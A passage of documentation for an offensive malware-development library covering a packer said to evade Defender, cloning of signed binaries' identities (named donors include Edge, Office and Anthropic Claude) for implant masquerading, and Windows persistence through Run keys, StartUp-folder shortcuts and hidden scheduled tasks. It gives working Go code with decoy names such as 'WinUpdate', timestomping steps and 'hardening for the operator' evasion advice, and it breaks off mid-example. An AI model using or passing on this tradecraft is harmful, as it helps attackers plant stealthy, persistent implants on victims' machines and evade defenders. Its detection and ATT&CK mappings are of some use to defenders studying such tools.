End-to-end verification: 12 MiB examples/privesc-dll-hijack/privesc-e2e.exe packed with -compress -randomize -rounds 5 reaches STRONG SUCCESS through the full DLL-hijack chain (Defender real-time protection ON, no exclusions) — see examples/privesc-dll-hijack/README.md §8 bis.

0xC0000409 (STATUS_STACK_BUFFER_OVERRUN) on Windows execution

Symptom: packed binary exits with exit code 3221226505 (0xC0000409) on Windows immediately after spawn, before any of your code runs.

Cause: the input PE was compiled with Control Flow Guard (/guard:cf MSVC, default for many modern Microsoft binaries). CFG bakes a runtime check that validates .text integrity via the __guard_check_icall_fptr cookie + the GuardCFFunctionTable whitelist. PackBinary's SGN encryption of .text invalidates that signature; the runtime check catches it on the first indirect call and aborts.

Workaround: wrap the binary instead of in-place encrypting it — use PackBinaryBundle + the cmd/bundle-launcher runtime, which preserves the original binary intact and reflectively loads it at runtime. The CFG cookie sees the unmodified .text and stays happy.

Why no walker fixes this: CFG isn't an RVA-staleness problem. It's a cryptographic-style integrity check on the code section's BYTES. Any in-place mutation of .text (which is what PackBinary does by definition) trips it. The fix isn't a directory walker, it's a different pack mode.

Limitations

A complete planned-improvements list with implementation breakdown lives at .dev/superpowers/plans/2026-05-09-windows-tiny-exe.md (internal: .dev/plans/2026-05-09-windows-tiny-exe.md) — it tracks every gap below as an actionable engineering ticket. Brief summary follows.

  • Single PT_LOAD RWX in the all-asm path. The stub mutates its own page (the bundle data). The trade-off is documented; operators needing R+X / R+W split should use Mode 3 (PackBinary) which preserves segment-level permissions.
  • PT_WIN_BUILD predicates are no-ops on Linux all-asm. The predicate reads PEB.OSBuildNumber, which only exists on Windows. Linux V2-Negate stub (bundleStubVendorAwareV2Negate) skips the build-number compare; matching against BuildMin > 0 will silently fall through. Windows V2NW (bundleStubV2NegateWinBuildWindows) honours it fully. Use PT_CPUID_VENDOR / PT_CPUID_FEATURES / PT_MATCH_ALL for cross-platform predicates.
  • TLS callbacks rejected by PackBinary. The stub runs at the rewritten entry point — TLS callbacks would fire BEFORE the stub could decrypt. Surfaced as transform.ErrTLSCallbacks.
  • OEP must lie inside .text. The stub's final JMP targets the decrypted region; binaries with custom-linker entry points outside .text return transform.ErrOEPOutsideText.
  • cmd/bundle-launcher reflective load expects static-PIE ELF. The reflective loader (pe/packer/runtime) understands static-PIE-shaped input — not raw shellcode and not dynamically-linked ELFs. Use the all-asm path for shellcode payloads or keep payloads packaged via PackBinary upstream.
  • Bundle predicates are AND-combined within an entry, OR across entries. No grouping operator. Express OR-of-AND by adding multiple FingerprintEntry rows pointing at the same payload.

Glossary

Plain-language explanations of the jargon used throughout this doc. Listed in the order an operator typically encounters each term.

Payload. The thing you actually want to run on the target — a real PE/ELF binary, a packed binary, raw shellcode, anything. The packer wraps a payload to make it harder to detect / fingerprint.

SGN (Shikata Ga Nai-style polymorphic encoder). A self-decoding byte stream where each byte is XORed with a key, and the key itself rotates every round. "Polymorphic" means the bytes of the decoder are randomised per pack: the same input encoded twice produces two decoders that LOOK different but DO the same thing. Defeats yara rules keyed on a fixed decoder pattern.

Round. One pass over the encoded payload, applying one substitution and one register choice. More rounds = harder to recognise but bigger stub. Ships 1..10; default 3.

PIC trampoline (call .pic ; pop r15). Trick used by position-independent code to learn its own runtime address. The call instruction pushes the address of the instruction after it; the pop retrieves that address into a register. Now the code can compute "I'm running here, my data is at +N from here" without knowing where the kernel loaded it.

RWX. Read + Write + Execute permissions on a memory page. Legitimate code is almost always Read+Execute (code) or Read+Write (data). RWX means the page can be modified AND run, which is what self-decrypting stubs need (decrypt the bytes, then run them). Loud signal for any EDR — they specifically watch for RWX allocations.

PE32+ / .exe. Windows executable format. PE32+ is the 64-bit flavour. The kernel's loader reads this format directly when you run a .exe.

ELF / .elf. Linux executable format. The kernel reads this when you run a chmod +x binary.

Static-PIE. Position-Independent Executable that's also statically linked — no dependency on the dynamic linker (ld.so). Required for the reflective loader because we can't load the dynamic linker ourselves; the binary has to stand alone.

PT_LOAD. ELF program header type meaning "loadable segment". The kernel mmaps these segments into memory at process start. A minimal ELF has one PT_LOAD covering everything.

Brian Raiter shape. Reference to Raiter's 2002 article showing the smallest legal Linux ELF (45 bytes). Our minimal-ELF emitter follows that layout, slightly extended to host real code.

rep movsb. x86 instruction that copies bytes from [rsi] to [rdi] exactly rcx times. The C memmove is one instruction in asm.

auxv (auxiliary vector). Kernel-supplied data pushed onto the stack at process start: random canary, page size, AT_RANDOM, etc. The reflective loader rewrites it so the loaded payload sees its OWN values, not the launcher's.

OEP (Original Entry Point). The address the binary's normal entry point was at before the packer rewrote it. The stub jumps to OEP after decrypting .text.

TLS callbacks. Code that runs before the binary's entry point — per-thread initialisation. Packers reject inputs with TLS callbacks because they'd run before the stub got a chance to decrypt.

Imports / IAT. External functions a PE/ELF needs from system DLLs (kernel32.dll!CreateFile, etc.). The Import Address Table holds the resolved addresses. The kernel fills these in when loading the binary.

CPUID. x86 instruction that returns CPU information. Leaf 0 returns the vendor string ("GenuineIntel" / "AuthenticAMD"). Universal — every x86 CPU since the original Pentium implements it.

PEB (Process Environment Block). Windows kernel-managed structure at a known offset (gs:[0x60] on x64) carrying process state — the loaded module list, command line, OS version, etc. Reading it doesn't require any API call.

yara. File-pattern matching language used by AV / EDR for static signatures. "yara'able" means a defender can write a yara rule that matches the artefact.

Kerckhoffs's principle. Auguste Kerckhoffs (1883): the security of a cipher must depend on the secrecy of the key, not the secrecy of the algorithm. Applied here: the bundle wire format is public; the per-build secret is the only thing varying between operators.

AEAD (Authenticated Encryption with Associated Data). Encryption scheme that both encrypts the plaintext AND verifies the ciphertext hasn't been tampered with. AES-GCM is the canonical example — decryption fails (rather than producing garbage) if anyone modified a single byte.

memfd_create. Linux syscall that creates an anonymous file descriptor backed by RAM (no on-disk inode). The bundle launcher uses it to write the decrypted payload into RAM and execve it straight from there — zero on-disk plaintext for the matched payload.

Reflective loading. Loading a PE/ELF into the current process's address space and jumping to its entry — instead of asking the kernel to load it via execve / CreateProcess. Used to avoid showing a child process in the process tree.

rel8 displacement. x86 short conditional jumps (Jcc) take a 1-byte signed offset (-128 to +127) from the end of the jump instruction. Hand-encoding asm with rel8 displacements is where mistakes happen — every shift in the byte stream needs all rel8 distances recomputed.

ROR-13 hash. Rotate-Right-13 hash — common API-resolution trick in shellcode. Replaces literal API names like "ExitProcess" with a 4-byte hash so the strings don't appear in the binary. Defeated by defenders who hash the API name themselves and compare.

ASLR (Address Space Layout Randomisation). OS feature that randomises the address every binary lands at. Position-independent code (PIC) tolerates ASLR; non-PIC code crashes when its absolute addresses don't match the load address.

See also

Windows Security Catalog signing

← pe index · docs/index

TL;DR

Many Microsoft binaries (cmd.exe, notepad.exe, calc.exe, most of System32) have no embedded WIN_CERTIFICATE in their PE security directory. pe/cert.Read correctly returns ErrNoCertificate for them — and that is not a bug. Their Authenticode signature lives in a separate .cat file under C:\Windows\System32\CatRoot, registered with the kernel's WinTrust subsystem. signtool verify /pa cmd.exe returns "successfully verified" because WinTrust queries the catalog, finds the file's hash, and resolves the catalog's signature.

Operationally:

  • Cloning a catalog-signed identity via cert.Copy / donors.LoadBlob is impossible — there is no embedded blob to copy.
  • The "right" attack on catalog-signed binaries is catalog poisoning (insert your own signed .cat mapping the implant's hash) or catalog hash forging (collide the implant's Authenticode hash with a hash already in a trusted .cat). Both are out of scope for pe/cert.
  • For implant masquerading purposes, prefer donors with embedded signatures (Edge, OneDrive, Acrobat, Firefox, Office, VS Code, Anthropic Claude — all bundled in pe/masquerade/donors).

Primer — embedded vs catalog signatures

PE Authenticode supports two signature delivery channels:

EmbeddedCatalog
Where the signature livesInside the PE, in the security directory (offset/size in IMAGE_DATA_DIRECTORY[4]).Outside the PE, in a separate .cat file.
WIN_CERTIFICATE blob presentYes.No — security directory is zero.
Verifier pathWinTrust parses the embedded PKCS#7 SignedData over the PE's Authenticode hash.WinTrust hashes the PE, looks up that hash in every registered catalog, then verifies the catalog's own SignedData.
signtool verify /pa <pe>Reports the embedded signer chain.Reports "Signed by:" the catalog's signer (same Microsoft chain), file path resolves the catalog.
Operational consequencescert.Read returns the WIN_CERTIFICATE bytes. Cloneable via cert.Copy.cert.ReadErrNoCertificate. Not cloneable into another PE — the binding is hash-based, not blob-based.

System-shipped Windows binaries default to catalog signing because Microsoft batch-signs hundreds of files in a single .cat, saving signature overhead per binary and centralising revocation: rotate the catalog signing cert and every file mapped inside flips authority in one operation. Third-party publishers (Adobe, Mozilla, Google, Anthropic, custom in-house builds) ship embedded signatures because they don't have a privileged path to install .cat files into CatRoot.

How catalog verification works

sequenceDiagram
    participant Caller as User-mode caller<br>(SmartScreen / signtool / AppLocker)
    participant WT as WinTrust<br>(wintrust.dll)
    participant CC as Crypt32<br>(crypt32.dll)
    participant CR as CatRoot<br>(C:\Windows\System32\CatRoot\*.cat)
    Caller->>WT: WinVerifyTrust(file)
    WT->>WT: hash file (Authenticode hash, SHA-1 + SHA-256)
    alt Embedded WIN_CERTIFICATE present
        WT->>WT: parse PE security directory<br>verify embedded PKCS#7
    else No embedded blob (security directory == 0)
        WT->>CC: CryptCATAdminAcquireContext()
        WT->>CC: CryptCATAdminCalcHashFromFileHandle()
        WT->>CC: CryptCATAdminEnumCatalogFromHash()
        CC->>CR: scan registered .cat files
        CR-->>CC: matching catalog (CTL with the file's hash)
        CC-->>WT: catalog handle
        WT->>WT: verify catalog's PKCS#7 signature
    end
    WT-->>Caller: TRUST_E_SUCCESS or error

Because the lookup is hash-keyed, any byte change to the PE breaks the catalog binding. A cert.Copy operator who grafts their own embedded blob over a catalog-signed file inadvertently disables the catalog path (the security directory is no longer zero, so WinTrust takes the embedded branch first) — the original catalog signature stops verifying.

Why the bundled donor list excludes catalog-signed binaries

donors.All includes cmd, notepad, svchost, taskmgr, explorer because they remain useful for the masquerade side (VERSIONINFO + manifest + icon clone). But donors.AvailableBlobs() omits the catalog-signed ones because the cert-extraction step returns ErrNoCertificate on these donors — there is no embedded blob to bundle. Operators who want a System32-signed identity must either:

  1. Use the embedded-signature donors (Edge, Office, OneDrive, etc. — they're Microsoft Corporation signers too, so the subject reads like System32 to most checks).
  2. Approach a different attack class (catalog poisoning / hash forgery) — out of scope for this library.

Detection

Catalog-vs-embedded discrimination is trivial for defenders:

SignalMeaning
signtool verify /pa /v shows Signing Certificate Chain: and File is signed in catalog: <path>Catalog path.
Same call shows Signing Certificate Chain: without File is signed in catalogEmbedded path.
Powershell (Get-AuthenticodeSignature <pe>).SignatureTypeCatalog vs Authenticode.
File has non-zero IMAGE_DIRECTORY_ENTRY_SECURITY (offset 0x98 in PE32+ optional header data directories)Embedded.

A red-team binary that ships with an embedded blob lifted from a System32 donor will surface as Authenticode (not Catalog) in PowerShell — already a deviation from System32 baseline. Pair with donors Edge / Office signers if mimicking real third-party Microsoft products is the goal.

OPSEC implications

  • Don't waste time trying to clone catalog signatures via cert.Copy — it cannot work by design.
  • Pick donors that match the cosmetic identity: cloning notepad's VERSIONINFO + an Adobe Authenticode signature is immediately suspicious to mature triage. Either embrace third-party identity (use donors.LoadBlob("acrobat") + Acrobat's manifest) or accept that System32 masquerade leaves the implant unsigned-via-embedded.
  • Catalog poisoning is admin — any "I'll just install my own .cat" path requires write access to CatRoot, defeating the point of using a catalog identity for stealth.

See also

Persistence techniques

← maldev README · docs/index

The persistence/* package tree groups Windows-only mechanisms that re-launch an implant across reboots and user logons. The Mechanism interface is the composition primitive: each sub-package returns a Mechanism, and InstallAll / VerifyAll / UninstallAll operate on a flat slice — operators typically install two or three mechanisms in parallel so failure of any single one (cleanup sweep, AV remediation, EDR auto-roll-back) does not lose persistence.

flowchart TB
    subgraph trig [Triggers]
        LOGON[user logon]
        BOOT[boot]
        SCHED[schedule / time]
        CLICK[user execution]
    end
    subgraph mechs [persistence/*]
        REG[registry<br>HKCU + HKLM<br>Run / RunOnce]
        ST[startup<br>StartUp-folder LNK]
        SCHEDP[scheduler<br>COM ITaskService]
        SVC[service<br>SCM SYSTEM]
        ACC[account<br>local user + admin]
        LNK[lnk<br>shortcut primitive]
    end
    subgraph compose [Composition]
        IFACE[Mechanism interface]
        ALL[InstallAll / VerifyAll / UninstallAll]
    end
    LOGON --> REG
    LOGON --> ST
    LOGON --> SCHEDP
    BOOT --> SVC
    BOOT --> SCHEDP
    SCHED --> SCHEDP
    CLICK --> LNK
    ACC -. companion to .-> SVC
    LNK -. underlying primitive of .-> ST
    REG --> IFACE
    ST --> IFACE
    SCHEDP --> IFACE
    SVC --> IFACE
    IFACE --> ALL

Where to start (novice path):

  1. registry — HKCU Run key. The classic "implant relaunches at every user logon" mechanism. Smallest footprint, easiest to set up.
  2. startup-folder — drop a LNK in the Startup folder. Same trigger (user logon), different artefact class — use one or the other based on which surface defenders inventory.
  3. task-scheduler — COM ITaskService. Survives when Run keys / startup folder get cleaned by AV remediation. Heavier setup but most resilient.
  4. service — boot-time SYSTEM persistence. Requires admin; pair with cleanup/service to hide it from services.msc.
  5. Compose 2-3 mechanisms via InstallAll so failure of one doesn't lose persistence. NEVER rely on a single mechanism.

Packages

PackageTech pageDetectionOne-liner
persistence/registryregistry.mdmoderateHKCU + HKLM Run / RunOnce key persistence
persistence/startupstartup-folder.mdmoderateStartUp-folder LNK persistence (user + machine)
persistence/schedulertask-scheduler.mdmoderateCOM-based scheduled tasks; logon / startup / daily / time triggers
persistence/serviceservice.mdnoisyWindows service via SCM (SYSTEM-scope)
persistence/lnklnk.mdquietUnderlying LNK creation primitive (used by startup, also for T1204.002 user-execution traps)
persistence/accountaccount.mdnoisyLocal user account add / delete / group membership

Quick decision tree

You want to…Use
…survive a reboot, no adminregistry.RunKey(HiveCurrentUser, …) or startup.Shortcut
…survive a reboot, machine-wideregistry.RunKey(HiveLocalMachine, …) or startup.InstallMachine
…trigger before user logon (boot / startup)scheduler with WithTriggerStartup or service
…schedule recurring callbacksscheduler.Create with WithTriggerDaily
…run as SYSTEMservice or scheduler with startup trigger
…compose multiple mechanisms with redundancypersistence.InstallAll
…leave a credential that survives implant removalaccount.Add + SetAdmin (loud)
…drop a user-execution trap (Desktop / Quick Launch)lnk.New

Layered redundancy recipe

The canonical "redundant persistence" pattern installs two mechanisms with different telemetry profiles. Loss of one does not lose persistence; the noisier one provides reach, the quieter one provides resilience.

mechs := []persistence.Mechanism{
    // Loud + reach: SYSTEM-scope service, runs at boot.
    service.Service(&service.Config{
        Name:      "WinUpdate",
        BinPath:   `C:\ProgramData\Microsoft\winupdate.exe`,
        StartType: service.StartAuto,
    }),
    // Quiet + resilience: HKCU Run-key, runs at user logon.
    registry.RunKey(registry.HiveCurrentUser, registry.KeyRun,
        "WinUpdateBackup",
        `C:\ProgramData\Microsoft\winupdate.exe`),
}
errs := persistence.InstallAll(mechs)

MITRE ATT&CK

T-IDNamePackagesD3FEND counter
T1547.001Boot or Logon Autostart Execution: Registry Run Keys / Startup Folderpersistence/registry, persistence/startupD3-SICA, D3-FCA
T1547.009Shortcut Modificationpersistence/lnk, persistence/startupD3-FCA
T1053.005Scheduled Task/Job: Scheduled Taskpersistence/schedulerD3-SCA
T1543.003Create or Modify System Process: Windows Servicepersistence/serviceD3-PSA, D3-SICA
T1136.001Create Account: Local Accountpersistence/accountD3-LAM
T1098Account Manipulationpersistence/account (group changes)D3-UAP
T1204.002User Execution: Malicious Filepersistence/lnk (Desktop / Quick Launch traps)D3-FCA

See also

Registry Run / RunOnce persistence

← persistence index · docs/index

TL;DR

Survive reboots by writing the implant's path to a Run/RunOnce registry key. Windows launches the value at every user logon.

You want…UseHiveAdmin?Persistence
Per-user, no adminHive=HKCU, RunOnce=falseHKCU\Software\Microsoft\Windows\CurrentVersion\RunNoReboot-persistent
Per-machine, all usersHive=HKLM, RunOnce=falseHKLM\…\RunYesReboot-persistent
One-shot bootstrap (delete after first run)RunOnce=true…\RunOnce(depends on hive)Self-deletes after firing

What this DOES achieve:

  • Trivial install — single RegSetValueEx on a known-key path.
  • HKCU path needs zero elevation — works from any user-token implant.
  • Composes with other mechanisms via persistence.Mechanism
    • InstallAll so cleanup of one doesn't lose persistence if you installed redundantly.

What this does NOT achieve:

  • Among the loudest persistence options — Run/RunOnce is the most-monitored persistence path on every EDR. AutoRuns, Sysmon EID 13, every "persistence audit" PowerShell script finds it first.
  • HKCU = per-user only — fires only when THIS user logs on. Not for "any user logs in" coverage.
  • String-only — no obfuscation; the implant's path is plaintext in the registry. Pair with pe/masquerade to make the path look benign (%SystemRoot%\System32\svchost.exe).
  • No retry on failure — if the implant crashes, Windows doesn't restart it. For auto-restart, use persistence/service (LocalSystem + restart-on-failure).

Primer

Windows reads four registry keys at logon and launches every value as a process command-line. This is one of the oldest and most documented persistence techniques — and one of the most monitored. Its appeal is the trivial install (single RegSetValueEx) and the no-admin HKCU path: even a limited-token implant can self-restart after every reboot.

Run keys persist across reboots; RunOnce keys self-delete after firing once — useful for first-boot bootstrappers that hand off to a more durable mechanism and then vanish.

How It Works

sequenceDiagram
    participant Impl as "Implant"
    participant Reg as "HKCU\…\Run"
    participant Logon as "User logon"
    participant Bin as "Implant binary"

    Impl->>Reg: RegSetValueEx("IntelGraphicsUpdate",<br>"C:\…\winupdate.exe")
    Note over Logon: Reboot / log off + log on
    Logon->>Reg: RegEnumValue
    Reg-->>Logon: each Run value
    Logon->>Bin: CreateProcess(value as cmdline)

Registry paths:

HiveKeyBehaviourAdmin?
HKCUSoftware\Microsoft\Windows\CurrentVersion\Runpersistent, per-userno
HKCUSoftware\Microsoft\Windows\CurrentVersion\RunOnceone-shot, per-userno
HKLMSoftware\Microsoft\Windows\CurrentVersion\Runpersistent, machine-wideyes
HKLMSoftware\Microsoft\Windows\CurrentVersion\RunOnceone-shot, machine-wideyes

RunOnce self-cleanup happens after launch succeeds — values where the binary is missing or fails to launch stay in the registry, which is itself a forensic tell.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/persistence/registry is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — HKCU install + remove

import "github.com/oioio-space/maldev/persistence/registry"

_ = registry.Set(registry.HiveCurrentUser, registry.KeyRun,
    "IntelGraphicsUpdate", `C:\Users\Public\winupdate.exe`)
defer registry.Delete(registry.HiveCurrentUser, registry.KeyRun,
    "IntelGraphicsUpdate")

Composed — Mechanism + idempotent install

m := registry.RunKey(registry.HiveCurrentUser, registry.KeyRun,
    "IntelGraphicsUpdate", `C:\Users\Public\winupdate.exe`)

if exists, _ := registry.Exists(registry.HiveCurrentUser,
    registry.KeyRun, "IntelGraphicsUpdate"); !exists {
    _ = m.Install()
}

Advanced — hive selection + RunOnce bootstrap

Pick HKLM when the implant has admin, otherwise fall back to HKCU; pair with a RunOnce bootstrap that hands off to a service.

import (
    "github.com/oioio-space/maldev/persistence/registry"
    "github.com/oioio-space/maldev/win/privilege"
)

const (
    name    = "IntelGraphicsCompat"
    payload = `C:\Users\Public\Intel\stage1.exe`
)

hive := registry.HiveCurrentUser
if admin, elevated, _ := privilege.IsAdmin(); admin && elevated {
    hive = registry.HiveLocalMachine
}

if exists, _ := registry.Exists(hive, registry.KeyRun, name); exists {
    return
}
_ = registry.Set(hive, registry.KeyRun, name, payload)
_ = registry.Set(hive, registry.KeyRunOnce, name+"_bootstrap",
    payload+" --bootstrap")

See ExampleSet

OPSEC & Detection

ArtefactWhere defenders look
Sysmon Event 13 (registry value set) under …\RunHigh-fidelity rule on every mature EDR; HKCU\…\Run draws less default coverage than HKLM\…\Run
autoruns.exe Run-key listingSysinternals Autoruns is universal IR triage
Defender ASR rule "Block credential stealing" doesn't apply, but ASR "Block persistence through WMI event subscription" detects siblingsEDR rule library
Value name keyed against known IOC list (payload, update, svchost)Naive YARA-style rules on registry value contents
Binary path under user-writable directories (%TEMP%, %APPDATA%\Local\Temp)Defender heuristic — legitimate Run values target installed-software paths
RegEnumValue / RegOpenKeyEx from non-explorer.exeEDR API telemetry; rare unless tooling explicitly polls Run keys

D3FEND counters:

  • D3-SICA — registry change auditing.
  • D3-SEA — Run-key value content inspection.

Hardening for the operator:

  • Prefer HKCU when current-user scope is sufficient — lower default coverage and no admin prompt.
  • Pick value names that mimic real Run-key values (Adobe Updater, Intel Graphics, Microsoft OneDrive) — pair the binary path with a name + path that match.
  • Drop the binary in %PROGRAMDATA%\Microsoft\…\ rather than %TEMP%.
  • Pair with another mechanism via persistence.InstallAll so loss of the Run key (autoruns.exe -e -accepteula -c cleanup) does not lose persistence.
  • For one-shot bootstrappers, use RunOnce so the registry evidence vanishes on first boot.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1547.001Boot or Logon Autostart Execution: Registry Run Keys / Startup Folderfull — Run / RunOnce both supportedD3-SICA, D3-SEA

Limitations

  • Logon trigger only. Run keys fire at user logon, not at boot. For pre-logon execution use persistence/service or persistence/scheduler with a Boot / Startup trigger.
  • HKLM admin requirement. Without admin the operator is HKCU-only.
  • No CWD control. Windows launches Run-key values via CreateProcess with the user's profile as CWD; binaries that depend on a specific CWD must encode it via cd /d in the value or read it from a config.
  • Value-name collision. Two implants writing to the same value name cause silent overwrite — pick distinctive names.
  • Visible to standard tooling. regedit, reg query, PowerShell Get-ItemProperty, and autoruns.exe all surface Run-key values. No way to hide a Run-key entry from a thorough triage.

See also

StartUp folder persistence

← persistence index · docs/index

TL;DR

Drop a .lnk shortcut into the StartUp folder. Windows Shell launches every shortcut it finds at user logon.

ScopeFolderAdmin?When
Per-user%APPDATA%\Microsoft\Windows\Start Menu\Programs\StartUpNoThis user's logon only
All users%PROGRAMDATA%\Microsoft\Windows\Start Menu\Programs\StartUpYesEvery user's logon

What this DOES achieve:

  • No admin for user-scope — works from any user-token implant.
  • File-based artifact survives certain registry-only cleanup scripts.
  • Composes with persistence/registry via InstallAll for redundant persistence.

What this does NOT achieve:

  • Highly monitored — every EDR / autoruns scanner / user experiencing suspicious behaviour checks StartUp folders first. Sysmon EID 11 (FileCreate) catches the .lnk drop.
  • .lnk content is easily inspectableGet-Item expands the target path; defenders see your binary path. Pair with pe/masquerade so the target name looks benign.
  • No retry on failure — if your binary crashes, Windows doesn't restart it.
  • Doesn't survive cleanup that targets file-based persistence — any "clear StartUp" sweep deletes you. For lower-visibility triggers, see persistence/task-scheduler.

Primer

The StartUp folder is the GUI-era equivalent of Run keys. Windows Shell scans two well-known directories at logon and launches every shortcut it finds:

  • User: %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup
  • Machine: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Once-popular as an "easy" persistence path, it's now well-known to defensive tooling — but the user folder still sees less default scrutiny than HKLM\…\Run on most stacks. The package wraps persistence/lnk (LNK creation primitive) with the right paths and a Mechanism adapter.

How It Works

sequenceDiagram
    participant Impl as "Implant"
    participant Lnk as "persistence/lnk"
    participant FS as "%APPDATA%\…\Startup"
    participant Logon as "User logon"
    participant Shell as "Windows Shell"

    Impl->>Lnk: New().SetTargetPath(payload).Save(<dir>\Update.lnk)
    Lnk->>FS: write .lnk
    Note over Logon: Reboot / log off + log on
    Shell->>FS: enumerate Startup folder
    FS-->>Shell: Update.lnk (target = payload)
    Shell->>Impl: CreateProcess(payload)

Per-user paths can be discovered via SHGetKnownFolderPath / %APPDATA%; the package's UserDir / MachineDir helpers encapsulate that.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/persistence/startup is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — user-scope drop

import "github.com/oioio-space/maldev/persistence/startup"

_ = startup.Install("WindowsUpdate",
    `C:\Users\Public\winupdate.exe`,
    "--silent")
defer startup.Remove("WindowsUpdate")

Composed — Mechanism + idempotency

m := startup.Shortcut("WindowsUpdate",
    `C:\Users\Public\winupdate.exe`, "")
if !startup.Exists("WindowsUpdate") {
    _ = m.Install()
}

Advanced — machine-wide install + timestomp

Drop the launcher in the machine folder so the implant runs at every user's logon, then timestomp the resulting LNK so it blends with surrounding Microsoft files.

import (
    "os"
    "path/filepath"

    "github.com/oioio-space/maldev/cleanup/timestomp"
    "github.com/oioio-space/maldev/persistence/startup"
)

const target = `C:\ProgramData\Microsoft\winupdate.exe`

if err := startup.InstallMachine("WindowsUpdate", target, ""); err != nil {
    panic(err)
}

machineDir, _ := startup.MachineDir()
lnkPath := filepath.Join(machineDir, "WindowsUpdate.lnk")

ref, _ := os.Stat(`C:\Windows\System32\svchost.exe`)
t := ref.ModTime()
_ = timestomp.SetFull(lnkPath, t, t, t)

Pipeline — startup + registry redundancy

Pair a Run-key with the StartUp shortcut so removing one does not lose persistence.

import (
    "github.com/oioio-space/maldev/persistence"
    "github.com/oioio-space/maldev/persistence/registry"
    "github.com/oioio-space/maldev/persistence/startup"
)

const target = `C:\Users\Public\winupdate.exe`

mechs := []persistence.Mechanism{
    startup.Shortcut("WindowsUpdate", target, ""),
    registry.RunKey(registry.HiveCurrentUser, registry.KeyRun,
        "WindowsUpdateBackup", target),
}
_ = persistence.InstallAll(mechs)

See ExampleShortcut.

OPSEC & Detection

ArtefactWhere defenders look
File creation under %APPDATA%\…\StartupPath-scoped EDR rules — high-fidelity even for benign-looking LNKs
File creation under %PROGRAMDATA%\…\StartUpSame, with admin involvement adding to the signal
autoruns.exe -lcuser / -l listingSysinternals Autoruns surfaces both folders
LNK pointing at user-writable / temp pathsDefender heuristic
LNK with mismatched icon vs target binaryEDR rule cross-checks IconLocation vs TargetPath
Implant binary lacking signature + Microsoft VERSIONINFOPair with pe/masquerade + pe/cert

D3FEND counters:

  • D3-FCA — LNK header inspection.
  • D3-SEA — target-binary review.

Hardening for the operator:

  • Prefer the user folder unless machine-wide is required — lower default coverage.
  • Match icon + display name to a plausible identity (Notes, Update, OneDrive).
  • Pair with cleanup/timestomp so the LNK's MFT timestamps blend with surrounding Microsoft artefacts.
  • Pair with persistence/registry for redundancy via persistence.InstallAll.
  • Avoid this technique when the target stack runs strict ASR rules ("Block executable content from email client and webmail" applies to LNKs delivered via that channel).

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1547.001Boot or Logon Autostart Execution: Startup Folderfull — user + machineD3-FCA
T1547.009Shortcut Modificationpartial — LNK creation primitive (delegated to persistence/lnk)D3-FCA

Limitations

  • Logon-only trigger. Like Run keys, fires at user logon — not at boot.
  • One LNK per name. Re-installing under the same name overwrites the existing shortcut without warning.
  • Windows-only. No cross-platform stub.
  • Visible to standard triage. Both folders are universal IR triage targets.
  • No service-account context. LNKs run in the logging-in user's session — for SYSTEM-scope persistence use persistence/service.

See also

Scheduled task persistence

← persistence index · docs/index

TL;DR

Create scheduled tasks via the COM ITaskService API — no schtasks.exe child process (which is itself a loud signal). Most flexible trigger surface in the persistence tree.

TriggerWhen it firesAdmin required?
LogonAt any user logonNo (per-user task)
StartupAt system bootYes
DailyOnce per day at HH:MMNo (per-user)
TimeOne-shot at specified timeNo (per-user)
Hidden=trueTask invisible in Task Scheduler GUIn/a (orthogonal flag)

What this DOES achieve:

  • COM call (CoCreateInstance(CLSID_TaskScheduler)) — no child-process spawn (schtasks.exe is a flagged signal).
  • Trigger flexibility beyond Run/Startup: schedule, idle, log events, custom XML.
  • Hidden=true flag removes from default Task Scheduler view (still in \Microsoft\Windows if defenders look).

What this does NOT achieve:

  • Event 4698 (task created) still fires regardless of COM vs schtasks.exe. Defenders watching Security log see every task.
  • Hidden=true is cosmeticGet-ScheduledTask and schtasks /Query /V show hidden tasks too. Only the GUI filters.
  • Per-user tasks live in HKCU\…\Schedule\TaskCache — defenders enumerating user-scope autoruns find them.
  • For SYSTEM-trust tasks, an alternative is persistence/service — louder install (Event 7045) but more familiar to operators reading defender alerts.

Primer

The Task Scheduler is the most flexible Windows persistence mechanism. Triggers go beyond logon (Run keys, StartUp folder) and boot (services): tasks can fire on a schedule, on idle, on session lock/unlock, on event-log entries, on system events.

Most operators use schtasks.exe to register tasks — which spawns a visible child process under the implant's lineage. This package skips schtasks.exe entirely by talking to the Schedule.Service COM object directly via go-ole. The audit event (4698) still fires regardless of registration path; the process-creation telemetry vanishes.

How It Works

sequenceDiagram
    participant Caller
    participant COM as "Schedule.Service<br>(COM)"
    participant TS as "Task Scheduler service"
    participant Audit as "Security log"
    participant Trig as "Trigger fires"
    participant Bin as "Implant"

    Caller->>COM: CoInitialize(STA)
    Caller->>COM: GetFolder("\\")
    Caller->>COM: NewTask() ITaskDefinition
    Caller->>COM: set actions / triggers / settings (hidden=true)
    Caller->>COM: RegisterTaskDefinition(name, def)
    COM->>TS: persist task definition
    TS-->>Audit: Event 4698 (scheduled task created)
    Note over Trig: Trigger fires (logon / startup / daily / time)
    TS->>Bin: spawn implant under SYSTEM (or registered context)

Triggers supported by this package:

ConstructorTrigger
WithTriggerLogon()Any user logon
WithTriggerStartup()Boot — runs as SYSTEM by default
WithTriggerDaily(intervalDays)Every N days
WithTriggerTime(t)One-shot at t

Task names must start with \\TaskName for the root folder, \Folder\TaskName for sub-folders.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/persistence/scheduler is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — logon trigger, hidden

import "github.com/oioio-space/maldev/persistence/scheduler"

_ = scheduler.Create(`\IntelGraphicsRefresh`,
    scheduler.WithAction(`C:\ProgramData\Microsoft\winupdate.exe`),
    scheduler.WithTriggerLogon(),
    scheduler.WithHidden(),
)
defer scheduler.Delete(`\IntelGraphicsRefresh`)

Composed — Mechanism + boot trigger

m := scheduler.ScheduledTask(`\Microsoft\Windows\WinUpdate\Refresh`,
    scheduler.WithAction(`C:\ProgramData\Microsoft\winupdate.exe`),
    scheduler.WithTriggerStartup(),
    scheduler.WithHidden(),
)
_ = m.Install() // runs as SYSTEM at boot — admin required

Advanced — daily + one-shot on the same task chain

import "time"

